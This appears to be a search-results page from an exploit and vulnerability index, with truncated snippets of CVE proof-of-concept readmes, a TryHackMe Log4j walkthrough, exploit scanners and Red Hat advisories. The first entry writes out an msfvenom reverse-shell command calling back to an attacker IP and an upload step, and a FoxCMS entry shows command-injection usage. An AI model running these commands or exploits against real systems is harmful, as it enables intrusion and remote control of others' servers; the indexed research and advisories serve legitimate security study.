586927 matches found
CVE-2009-2265
Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Example :...
CVE-2019-9978
CVE-2019-9978 β Proof of Concept PoC Functional PoC for vulnerability CVE-2019-9978 , affecting the plugin Social Warfare = 3.5.2, allowing Remote Code Execution RCE in WordPress. π Description This exploit abuses the swpdebug=loadoptions parameter to force the loading of a remote payload, allowi...
CVE-2023-42426
CVE ID: CVE-2023-42426 Vulnerability Type: Cross-Site Scripting Description: Cross-site scripting XSS vulnerability in Froala Froala Editor v.4.1.1 allows remote attackers to execute arbitrary code via the 'Insert link' parameter in the 'Insert Image' component. Steps to reproduce: 1. Select the...
Solar-exploiting-log-4j
π₯ Solar Exploiting Log4j - TryHackMe Walkthrough π Room: Solar Exploiting Log4j Platform: TryHackMe Difficulty: Medium Topic: Log4Shell Log4j Vulnerability π§ Objective Exploit the Log4j vulnerability CVE-2021-44228 to gain remote code execution and capture flags. π οΈ Tools Used Nmap Burp Suite cURL...
CVE-2026-53921
π¨ CVE-2026-53921 - odhcpd Critical Stack-Based Buffer Overflow in OpenWrt odhcpd A remote unauthenticated stack-based buffer overflow allowing potentialRemote Code Execution RCE with root privileges. π Overview Property| Value ---|--- CVE ID| CVE-2026-53921 Severity| π΄ Critical CVSS v3.1| 9.8 CWE...
Moderate: Red Hat Security Advisory: rrdtool security update
An update for rrdtool is now available for Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...
rrdtool: rrdtool: Stack buffer overflow allows local code execution or denial of service
A flaw was found in rrdcached, a component of rrdtool. A local attacker with access to a rrdcached socket can exploit a stack-based buffer overflow by sending an oversized CREATE request. This vulnerability can lead to a denial of service by crashing the daemon or potentially allow for arbitrary...
rrdtool: rrdtool: Stack buffer overflow allows local code execution or denial of service
A flaw was found in rrdcached, a component of rrdtool. A local attacker with access to a rrdcached socket can exploit a stack-based buffer overflow by sending an oversized CREATE request. This vulnerability can lead to a denial of service by crashing the daemon or potentially allow for arbitrary...
Moderate: Red Hat Security Advisory: rrdtool security update
An update for rrdtool is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...
tesseract: Tesseract: Heap out-of-bounds write via crafted .traineddata
A flaw was found in Tesseract, an open-source Optical Character Recognition OCR engine. A remote attacker could exploit this by providing a specially crafted .traineddata LSTM model component. When Tesseract's deserializer processes this component during OCR recognition, an unchecked integer...
SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit
SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit Cadena de explotaciΓ³n de prueba de concepto que he descubierto y que ha sido asignada como CVE-2026-47301 para Microsoft Configuration Manager SCCM, combinando control de acceso roto, escritura arbitraria de archivos mediante salto de ruta de...
FreePBX-CVE-2025-57819
FreePBX CVE-2025-57819 β Unauthenticated SQLi to Root RCE Severity: Critical Type: Unauthenticated SQL Injection β Remote Code Execution Affected Software: FreePBX endpoint module Tested On: FreePBX on CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5 Overview An unauthenticated SQL injection...
React2Shell-CVE-2025-55182
CVE-2025-55182 β React2Shell Unauthenticated RCE in React Server Components via insecure deserialization of the Flight protocol. A single HTTP request is enough to execute arbitrary code on the server β no credentials, no prior access needed. / / / /| |/ / \ / / / / / / / / // / / // / // | //...
CVE-2025-55182-Waf
Next.js/React RSC Scanner & Exploit - RCE This tool is designed for security researchers and penetration testers to detect and exploit the CVE-2025-55182 vulnerability in Next.js/React RSC applications. It provides multiple scanning modes, exploitation features, and WAF bypass techniques. β¨...
PHP-CGI-RCE-Scanner
PHP CGI RCE CVE-2024-4577 Scanner Just a tool for educational purposes. No legal responsibility. Scanning CVE-2024-4577 vulnerability with a url list. Not only sending exploit, but also checking PHP version and whether php-cgi exists. Make it more informative to know why or why not exploit succes...
imbyter-WinRAR_CVE-2023-38831
π₯ WinRAR Vulnerability Description CVE-2023-38831 A spoofable file extension vulnerability exists in WinRAR versions prior to 6.23. Attackers can exploit this vulnerability by crafting specially packaged files that appear harmless, such as JPG .jpg image files, text files .txt, or PDF documents...
CVE-2025-29306_poc
Description Published: 2025-03-27 Updated: 2025-03-27 An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component. Usage: python testpoc.py -u http://192.168.0.1/images/index.html "id" python testpoc.py -f url.txt "id"...
CVE-2023-6553
CVE-2023-6553 Due to a incorrect include statement in the "Backup Migration" plugin, a attacker can achieve RCE Summary of the CVE The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.7 via the /includes/backup-heart.php file...
Elastix-2.2.0-CVE-2012-4869
Elastix 2.2.0 Local File Inclusion Exploit - CVE-2012-4869 Description This script exploits a Local File Inclusion LFI vulnerability in Elastix 2.2.0 , allowing remote code execution RCE by injecting commands via the callmepage.php endpoint. The exploit is based on CVE-2012-4869. Features Bypasse...